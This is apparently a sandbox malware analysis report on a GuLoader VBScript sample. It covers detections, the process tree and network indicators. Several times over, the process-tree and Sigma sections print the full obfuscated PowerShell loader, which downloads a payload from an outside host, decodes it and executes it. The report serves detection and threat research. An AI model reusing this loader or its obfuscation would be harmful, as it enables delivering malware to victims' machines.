Edit tour

Windows Analysis Report
Rendeles nr13252436324563635635464574544545445474.vbs

Overview

General Information

Sample name:	Rendeles nr13252436324563635635464574544545445474.vbs
Analysis ID:	1658270
MD5:	8b889d5bd26d96b38dae1a58aeb296fa
SHA1:	fbafcc56615b6f5650c9e29278a185ccd94773fb
SHA256:	58418d0ab74530cc13a36b14a6288916250cdffb664e8cc57293119746993d21
Tags:	HUNvbsuser-smica83
Infos:

Detection

GuLoader

Score:	92
Range:	0 - 100
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

VBScript performs obfuscated calls to suspicious functions

Yara detected GuLoader

Found suspicious powershell code related to unpacking or dynamic code loading

Joe Sandbox ML detected suspicious sample

Potential malicious VBS script found (suspicious strings)

Queries sensitive service information (via WMI, WIN32_SERVICE, often done to detect sandboxes)

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Wscript starts Powershell (via cmd or directly)

Abnormal high CPU Usage

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7912 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Rendeles nr13252436324563635635464574544545445474.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 8044 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Saddlecloths='func';Get-History;$Saddlecloths+='t';Get-History;$Saddlecloths+='i';$Sammenholder=Get-History;$Saddlecloths+='on:';$Sammenholder=Get-History;(ni -p $Saddlecloths -n Unbracing -value { param($Blindgngerne);$elaterids=1;do {$universalmidlet+=$Blindgngerne[$elaterids];$elaterids+=2} until(!$Blindgngerne[$elaterids])$universalmidlet});(ni -p $Saddlecloths -n Sdvanen -value {param($Polarity);.($Preliteralness) ($Polarity)});ConvertTo-Html;$Reclassifying=Unbracing ' NDeSTS. W';$Reclassifying+=Unbracing 'ceSbOCKL.i,E N T';$Madannoncers=Unbracing ' MBo zAi l lAaI/';$Stoneweed=Unbracing 'ST.lSs 1I2';$subdisjunctive=' [SN E T,. SMEiRTv i cSeMpMOOI nptNMRaSn a gMe R ]G:F: S e.cBUkR i TAy P.rmOFTAoKcNOuL =.$OSStGoSn E W ENEND';$Madannoncers+=Unbracing '.5 .V0T (OWgiKn dRoKwEsR NUT T1S0S..0U;T BWfi,n 6.4F; .xB6 4F;, wrLv :G1H3U4 .R0K)k GAe.cEkNo /I2 0S1B0 0D1P0 1U .F iBr e f oUx /I1U3H4B.H0';$brnesanges=Unbracing 'Lu S ESRU- aBG ERn T';$Squidgier=Unbracing ' hRt tApmsA:M/B/.fMiVt b a b y h oXtOmCabm aC.,cFo m / u nScPo,m.mOeVnVsAuMr,aft e lAy,.udawGp';$Arbitrable=Unbracing ',>';$Preliteralness=Unbracing ' ICe x';$Anstetiske='Sciaenids';$Dannekvindernes='\Lithochemistry.Uva';Sdvanen (Unbracing 'S$ g l oCbTaSlF: NTe TaHFI.n d e =R$DeHN VF:saSP P d A tUAG+ $NDSaGnSN EIkUvpI.NKD.E.rVn e s');Sdvanen (Unbracing 'D$.GPLGONbMa lR:sIYN DKe k sTMOANrCKKeKR iMnHg.e.RFNPe = $ S Q,uEI,dGG IKE rL. SRP LGI,T (O$taSRObAi TTR ASB,lqE )');Sdvanen (Unbracing $subdisjunctive);$Squidgier=$Indeksmarkeringerne[0];$Fllesordningerne=(Unbracing 'H$Sg LSO,BGa,L.:TF EPT ISs H,iPZsa,TUiNo N,=VnDe,wR- OSb JDE CLT RsHY sKtUe mI. $ R e CvLTaFSBs I FVYPiBn g');Sdvanen ($Fllesordningerne);Sdvanen (Unbracing 'N$PFAeTt iPs hRiAzKa tHi oBns.CH eSa.d,e rIs [ $fbIr n eUsNaOncg e s ] =S$YM a.d.aTn n o nGc,e.rRs');$Asfalts=Unbracing ' DFo.w n.lAoPa d.FPiNl e';$Muskeg=Unbracing ' $ FGe t,i s.hGiczDa t iPo nH.E$ AOs,f.aHl,tLsK.PISn vPoSkSeA(.$,SFq uUiKd,gRi e rA,D$ T.eSaOb o xDe se)';$Teaboxes=$Nethinde;Sdvanen (Unbracing 'T$ GRL OTb a LG: d i sVKFOAs k,ADS.T EDR nNENsL7c5 =f(ATZE SStA- pBaItFhK A$ t eMa.BaO x e ss)');while (!$Diskoskasternes75) {Sdvanen (Unbracing ' $ g l oHbRa.l : F oFr l a gAs,bEo,g hSa,n dFe l sT= $ HFyPgIiUePn iRsSt') ;Sdvanen $Muskeg;Sdvanen (Unbracing 'T[ tPHDr ESa.dIi NSG .IT.h ROetA D ] :S:VsSL,E eEP (L4P0S0M0 )');Sdvanen (Unbracing '.$ Gbl oSBHAOlF:RdUiIsSKDo,s KUA sBtfEORPnSE S.7C5,= ( T,E sNtS- PLA tRH s$MtPe a B.oEXVe,S,)') ;Sdvanen (Unbracing 'R$PG lOO bDa L :BsCtfrRA a,L e VRA rCMHeONY=D$Sg.lGoMbTA L :Fa N,pIA.rUT S HRA.VAE rUe.+R+A% $CIHNEd E KMS mTA r KReUrSIPnCGKERroNSe . C o UBN.t') ;$Squidgier=$Indeksmarkeringerne[$Straalevarmen]}$Crawlway20=397425;$Forvred=28707;Sdvanen (Unbracing 'M$sg L oTBEACLC:NSMAftSe l,LBI TSTEE,rPNDeP R=T .gkE T.-BCRO NYT eJN T D$ tDe a b OfX ELs');Sdvanen (Unbracing '.$PgTl oGbKa lf:BATmBoIrPaMlIe nP c=t .[ S yQsStFe m,.KC.o nFv eNr t ] :a:CFOr o m B.aTsFeF6O4CS.t.r,i nSg (S$ S aBtAeLl lSiNtbt efr,nUe )');Sdvanen (Unbracing 'P$ gOl O b aHL,:HA FSSKK R IVd,TNNKIfnEGBe nDs. S=P [ s Y sUt ERmT.Kt,E,XPTF.BeSn C,oBD IIN GR] : : AbS,c.I.iF. g e T.sTT R I NAgG( $Fa.m o,rHA lVe n )');Sdvanen (Unbracing 'U$Ig,LbOJb a L : aFU TVOgMTaTT,IUOKN s p R oFgRRBa mB1S1 = $HA FpS k r,IAdRtCn IFN gTeIn Su.TSLu B SgtMRPi nKgG(.$UCPR a WElTwNa y.2 0U, $.FPosR.VSR eTd )');Sdvanen $Automationsprogram11;" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 8124 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

powershell.exe (PID: 7912 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Saddlecloths='func';Get-History;$Saddlecloths+='t';Get-History;$Saddlecloths+='i';$Sammenholder=Get-History;$Saddlecloths+='on:';$Sammenholder=Get-History;(ni -p $Saddlecloths -n Unbracing -value { param($Blindgngerne);$elaterids=1;do {$universalmidlet+=$Blindgngerne[$elaterids];$elaterids+=2} until(!$Blindgngerne[$elaterids])$universalmidlet});(ni -p $Saddlecloths -n Sdvanen -value {param($Polarity);.($Preliteralness) ($Polarity)});ConvertTo-Html;$Reclassifying=Unbracing ' NDeSTS. W';$Reclassifying+=Unbracing 'ceSbOCKL.i,E N T';$Madannoncers=Unbracing ' MBo zAi l lAaI/';$Stoneweed=Unbracing 'ST.lSs 1I2';$subdisjunctive=' [SN E T,. SMEiRTv i cSeMpMOOI nptNMRaSn a gMe R ]G:F: S e.cBUkR i TAy P.rmOFTAoKcNOuL =.$OSStGoSn E W ENEND';$Madannoncers+=Unbracing '.5 .V0T (OWgiKn dRoKwEsR NUT T1S0S..0U;T BWfi,n 6.4F; .xB6 4F;, wrLv :G1H3U4 .R0K)k GAe.cEkNo /I2 0S1B0 0D1P0 1U .F iBr e f oUx /I1U3H4B.H0';$brnesanges=Unbracing 'Lu S ESRU- aBG ERn T';$Squidgier=Unbracing ' hRt tApmsA:M/B/.fMiVt b a b y h oXtOmCabm aC.,cFo m / u nScPo,m.mOeVnVsAuMr,aft e lAy,.udawGp';$Arbitrable=Unbracing ',>';$Preliteralness=Unbracing ' ICe x';$Anstetiske='Sciaenids';$Dannekvindernes='\Lithochemistry.Uva';Sdvanen (Unbracing 'S$ g l oCbTaSlF: NTe TaHFI.n d e =R$DeHN VF:saSP P d A tUAG+ $NDSaGnSN EIkUvpI.NKD.E.rVn e s');Sdvanen (Unbracing 'D$.GPLGONbMa lR:sIYN DKe k sTMOANrCKKeKR iMnHg.e.RFNPe = $ S Q,uEI,dGG IKE rL. SRP LGI,T (O$taSRObAi TTR ASB,lqE )');Sdvanen (Unbracing $subdisjunctive);$Squidgier=$Indeksmarkeringerne[0];$Fllesordningerne=(Unbracing 'H$Sg LSO,BGa,L.:TF EPT ISs H,iPZsa,TUiNo N,=VnDe,wR- OSb JDE CLT RsHY sKtUe mI. $ R e CvLTaFSBs I FVYPiBn g');Sdvanen ($Fllesordningerne);Sdvanen (Unbracing 'N$PFAeTt iPs hRiAzKa tHi oBns.CH eSa.d,e rIs [ $fbIr n eUsNaOncg e s ] =S$YM a.d.aTn n o nGc,e.rRs');$Asfalts=Unbracing ' DFo.w n.lAoPa d.FPiNl e';$Muskeg=Unbracing ' $ FGe t,i s.hGiczDa t iPo nH.E$ AOs,f.aHl,tLsK.PISn vPoSkSeA(.$,SFq uUiKd,gRi e rA,D$ T.eSaOb o xDe se)';$Teaboxes=$Nethinde;Sdvanen (Unbracing 'T$ GRL OTb a LG: d i sVKFOAs k,ADS.T EDR nNENsL7c5 =f(ATZE SStA- pBaItFhK A$ t eMa.BaO x e ss)');while (!$Diskoskasternes75) {Sdvanen (Unbracing ' $ g l oHbRa.l : F oFr l a gAs,bEo,g hSa,n dFe l sT= $ HFyPgIiUePn iRsSt') ;Sdvanen $Muskeg;Sdvanen (Unbracing 'T[ tPHDr ESa.dIi NSG .IT.h ROetA D ] :S:VsSL,E eEP (L4P0S0M0 )');Sdvanen (Unbracing '.$ Gbl oSBHAOlF:RdUiIsSKDo,s KUA sBtfEORPnSE S.7C5,= ( T,E sNtS- PLA tRH s$MtPe a B.oEXVe,S,)') ;Sdvanen (Unbracing 'R$PG lOO bDa L :BsCtfrRA a,L e VRA rCMHeONY=D$Sg.lGoMbTA L :Fa N,pIA.rUT S HRA.VAE rUe.+R+A% $CIHNEd E KMS mTA r KReUrSIPnCGKERroNSe . C o UBN.t') ;$Squidgier=$Indeksmarkeringerne[$Straalevarmen]}$Crawlway20=397425;$Forvred=28707;Sdvanen (Unbracing 'M$sg L oTBEACLC:NSMAftSe l,LBI TSTEE,rPNDeP R=T .gkE T.-BCRO NYT eJN T D$ tDe a b OfX ELs');Sdvanen (Unbracing '.$PgTl oGbKa lf:BATmBoIrPaMlIe nP c=t .[ S yQsStFe m,.KC.o nFv eNr t ] :a:CFOr o m B.aTsFeF6O4CS.t.r,i nSg (S$ S aBtAeLl lSiNtbt efr,nUe )');Sdvanen (Unbracing 'P$ gOl O b aHL,:HA FSSKK R IVd,TNNKIfnEGBe nDs. S=P [ s Y sUt ERmT.Kt,E,XPTF.BeSn C,oBD IIN GR] : : AbS,c.I.iF. g e T.sTT R I NAgG( $Fa.m o,rHA lVe n )');Sdvanen (Unbracing 'U$Ig,LbOJb a L : aFU TVOgMTaTT,IUOKN s p R oFgRRBa mB1S1 = $HA FpS k r,IAdRtCn IFN gTeIn Su.TSLu B SgtMRPi nKgG(.$UCPR a WElTwNa y.2 0U, $.FPosR.VSR eTd )');Sdvanen $Automationsprogram11;" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000B.00000002.2503220797.000000000B9A5000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: powershell.exe PID: 8044	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x16cd98:$b2: ::FromBase64String( 0x280d4c:$b2: ::FromBase64String( 0x280d84:$b2: ::FromBase64String( 0x280dbd:$b2: ::FromBase64String( 0x280df7:$b2: ::FromBase64String( 0x280e32:$b2: ::FromBase64String( 0x280e6e:$b2: ::FromBase64String( 0x280eab:$b2: ::FromBase64String( 0x280ee9:$b2: ::FromBase64String( 0x280f28:$b2: ::FromBase64String( 0x280f68:$b2: ::FromBase64String( 0x280fa9:$b2: ::FromBase64String( 0x280feb:$b2: ::FromBase64String( 0x28102e:$b2: ::FromBase64String( 0x281072:$b2: ::FromBase64String( 0x2810b7:$b2: ::FromBase64String( 0x2810fd:$b2: ::FromBase64String( 0x4dce0:$s1: -join 0x691f0:$s1: -join 0x6df22:$s1: -join 0x2cdc9d:$s1: -join
Process Memory Space: powershell.exe PID: 7912	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x4153b4:$b2: ::FromBase64String( 0x26c148:$s1: -join 0x27921d:$s1: -join 0x27c5ef:$s1: -join 0x27cca1:$s1: -join 0x27e792:$s1: -join 0x280998:$s1: -join 0x2811bf:$s1: -join 0x281a2f:$s1: -join 0x28216a:$s1: -join 0x28219c:$s1: -join 0x2821e4:$s1: -join 0x282203:$s1: -join 0x282a53:$s1: -join 0x282bcf:$s1: -join 0x282c47:$s1: -join 0x282cda:$s1: -join 0x282f40:$s1: -join 0x2850d6:$s1: -join 0x293b20:$s1: -join 0x2a9268:$s1: -join

Other

Source	Rule	Description	Author	Strings
amsi32_7912.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xc069:$b2: ::FromBase64String( 0xbaa3:$s1: -join 0x524f:$s4: += 0x5311:$s4: += 0x9538:$s4: += 0xb655:$s4: += 0xb93f:$s4: += 0xba85:$s4: += 0x14a8d:$s4: += 0x14b0d:$s4: += 0x14bd3:$s4: += 0x14c53:$s4: += 0x14e29:$s4: += 0x14ead:$s4: += 0x2cc5:$e4: Get-WmiObject 0x2eb4:$e4: Get-Process 0x2f0c:$e4: Start-Process 0x1571b:$e4: Get-Process

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Rendeles nr13252436324563635635464574544545445474.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Rendeles nr13252436324563635635464574544545445474.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3964, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Rendeles nr13252436324563635635464574544545445474.vbs", ProcessId: 7912, ProcessName: wscript.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Rendeles nr13252436324563635635464574544545445474.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Rendeles nr13252436324563635635464574544545445474.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3964, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Rendeles nr13252436324563635635464574544545445474.vbs", ProcessId: 7912, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Saddlecloths='func';Get-History;$Saddlecloths+='t';Get-History;$Saddlecloths+='i';$Sammenholder=Get-History;$Saddlecloths+='on:';$Sammenholder=Get-History;(ni -p $Saddlecloths -n Unbracing -value { param($Blindgngerne);$elaterids=1;do {$universalmidlet+=$Blindgngerne[$elaterids];$elaterids+=2} until(!$Blindgngerne[$elaterids])$universalmidlet});(ni -p $Saddlecloths -n Sdvanen -value {param($Polarity);.($Preliteralness) ($Polarity)});ConvertTo-Html;$Reclassifying=Unbracing ' NDeSTS. W';$Reclassifying+=Unbracing 'ceSbOCKL.i,E N T';$Madannoncers=Unbracing ' MBo zAi l lAaI/';$Stoneweed=Unbracing 'ST.lSs 1I2';$subdisjunctive=' [SN E T,. SMEiRTv i cSeMpMOOI nptNMRaSn a gMe R ]G:F: S e.cBUkR i TAy P.rmOFTAoKcNOuL =.$OSStGoSn E W ENEND';$Madannoncers+=Unbracing '.5 .V0T (OWgiKn dRoKwEsR NUT T1S0S..0U;T BWfi,n 6.4F; .xB6 4F;, wrLv :G1H3U4 .R0K)k GAe.cEkNo /I2 0S1B0 0D1P0 1U .F iBr e f oUx /I1U3H4B.H0';$brnesanges=Unbracing 'Lu S ESRU- aBG ERn T';$Squidgier=Unbracing ' hRt tApmsA:M/B/.fMiVt b a b y h oXtOmCabm aC.,cFo m / u nScPo,m.mOeVnVsAuMr,aft e lAy,.udawGp';$Arbitrable=Unbracing ',>';$Preliteralness=Unbracing ' ICe x';$Anstetiske='Sciaenids';$Dannekvindernes='\Lithochemistry.Uva';Sdvanen (Unbracing 'S$ g l oCbTaSlF: NTe TaHFI.n d e =R$DeHN VF:saSP P d A tUAG+ $NDSaGnSN EIkUvpI.NKD.E.rVn e s');Sdvanen (Unbracing 'D$.GPLGONbMa lR:sIYN DKe k sTMOANrCKKeKR iMnHg.e.RFNPe = $ S Q,uEI,dGG IKE rL. SRP LGI,T (O$taSRObAi TTR ASB,lqE )');Sdvanen (Unbracing $subdisjunctive);$Squidgier=$Indeksmarkeringerne[0];$Fllesordningerne=(Unbracing 'H$Sg LSO,BGa,L.:TF EPT ISs H,iPZsa,TUiNo N,=VnDe,wR- OSb JDE CLT RsHY sKtUe mI. $ R e CvLTaFSBs I FVYPiBn g');Sdvanen ($Fllesordningerne);Sdvanen (Unbracing 'N$PFAeTt iPs hRiAzKa tHi oBns.CH eSa.d,e rIs [ $fbIr n eUsNaOncg e s ] =S$YM a.d.aTn n o nGc,e.rRs');$Asfalts=Unbracing ' DFo.w n.lAoPa d.FPiNl e';$Muskeg=Unbracing ' $ FGe t,i s.hGiczDa t iPo nH.E$ AOs,f.aHl,tLsK.PISn vPoSkSeA(.$,SFq uUiKd,gRi e rA,D$ T.eSaOb o xDe se)';$Teaboxes=$Nethinde;Sdvanen (Unbracing 'T$ GRL OTb a LG: d i sVKFOAs k,ADS.T EDR nNENsL7c5 =f(ATZE SStA- pBaItFhK A$ t eMa.BaO x e ss)');while (!$Diskoskasternes75) {Sdvanen (Unbracing ' $ g l oHbRa.l : F oFr l a gAs,bEo,g hSa,n dFe l sT= $ HFyPgIiUePn iRsSt') ;Sdvanen $Muskeg;Sdvanen (Unbracing 'T[ tPHDr ESa.dIi NSG .IT.h ROetA D ] :S:VsSL,E eEP (L4P0S0M0 )');Sdvanen (Unbracing '.$ Gbl oSBHAOlF:RdUiIsSKDo,s KUA sBtfEORPnSE S.7C5,= ( T,E sNtS- PLA tRH s$MtPe a B.oEXVe,S,)') ;Sdvanen (Unbracing 'R$PG lOO bDa L :BsCtfrRA a,L e VRA rCMHeONY=D$Sg.lGoMbTA L :Fa N,pIA.rUT S HRA.VAE rUe.+R+A% $CIHNEd E KMS mTA r KReUrSIPnCGKERroNSe . C o UBN.t') ;$Squidgier=$Indeksmarkeringerne[$Straalevarmen]}$Crawlway20=397425;$Forvred=28707;Sdvanen (Unbracing 'M$sg L oTBEACLC:NSMAftSe l,LBI TSTEE,rPNDeP R=T .gkE T.-BCRO NYT eJN T D$ tDe a b OfX ELs');Sdvanen (Unbracing '.$PgTl oGbKa lf:BATmBoIrPaMlIe nP c=t .[ S yQsStFe m,.KC.o nFv eNr t ] :

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8124, ProcessName: svchost.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

• AV Detection
• Compliance
• Software Vulnerabilities
• Networking
• System Summary
• Data Obfuscation
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• Anti Debugging
• HIPS / PFW / Operating System Protection Evasion
• Language, Device and Operating System Detection

Click to jump to signature section

Show All Signature Results

AV Detection

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Neural Call Log Analysis: 99.5%

Source: unknown	HTTPS traffic detected: 195.191.149.35:443 -> 192.168.2.4:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 195.191.149.35:443 -> 192.168.2.4:49715 version: TLS 1.2

Source:

Binary string: indows\System.Core.pdb source: powershell.exe, 0000000B.00000002.2496185004.00000000075CB000.00000004.00000020.00020000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic

HTTP traffic detected: GET /uncommensurately.dwp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: fitbabyhotmama.comConnection: Keep-Alive

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /uncommensurately.dwp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: fitbabyhotmama.comConnection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: fitbabyhotmama.com

Source: svchost.exe, 00000003.00000002.2472357025.0000020BFDA0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: wscript.exe, 00000000.00000003.1203333887.000001FE60771000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1204130196.000001FE60771000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1201598113.000001FE60762000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: wscript.exe, 00000000.00000003.1203333887.000001FE60771000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1204130196.000001FE60771000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1201598113.000001FE60762000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1185947256.000001FE627E8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1186474037.000001FE627E8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1186796683.000001FE627E8000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F80085060.0.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: wscript.exe, 00000000.00000003.1186607690.000001FE607BC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1186750359.000001FE607E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?0c0c45f0634d1
Source: wscript.exe, 00000000.00000003.1186607690.000001FE607BC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1186750359.000001FE607E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com:80/msdownload/update/v3/static/trustedr/en/authrootstl.cab?0c0c45f063
Source: svchost.exe, 00000003.00000003.1203825789.0000020BFD8A8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.3.dr, edb.log.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000003.00000003.1203825789.0000020BFD8A8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.3.dr, edb.log.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000003.00000003.1203825789.0000020BFD8A8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.3.dr, edb.log.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000003.00000003.1203825789.0000020BFD8DD000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.3.dr, edb.log.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.3.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000001.00000002.1346705412.000002399E979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fitbabyhotmama.com
Source: powershell.exe, 00000001.00000002.1376251032.00000239ADAD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2489391953.0000000005A60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000B.00000002.2472228641.0000000004B44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000001.00000002.1346705412.000002399DA61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2472228641.00000000049F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000B.00000002.2472228641.0000000004B44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000001.00000002.1346705412.000002399DA61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000B.00000002.2472228641.00000000049F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 0000000B.00000002.2489391953.0000000005A60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
